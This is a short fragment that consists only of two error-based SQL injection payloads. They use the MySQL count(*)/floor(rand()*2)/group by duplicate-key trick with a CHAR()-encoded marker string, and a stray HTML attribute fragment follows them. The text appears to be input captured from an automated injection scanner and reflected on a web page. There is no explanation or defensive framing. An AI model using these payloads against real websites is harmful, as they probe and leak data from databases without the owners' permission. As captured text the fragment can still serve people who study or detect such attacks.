"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(102),CHAR(105),CHAR(98),CHAR(117),CHAR(112),CHAR(103),CHAR(120),CHAR(114)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"
(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(102),CHAR(105),CHAR(98),CHAR(117),CHAR(112),CHAR(103),CHAR(120),CHAR(114)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"" />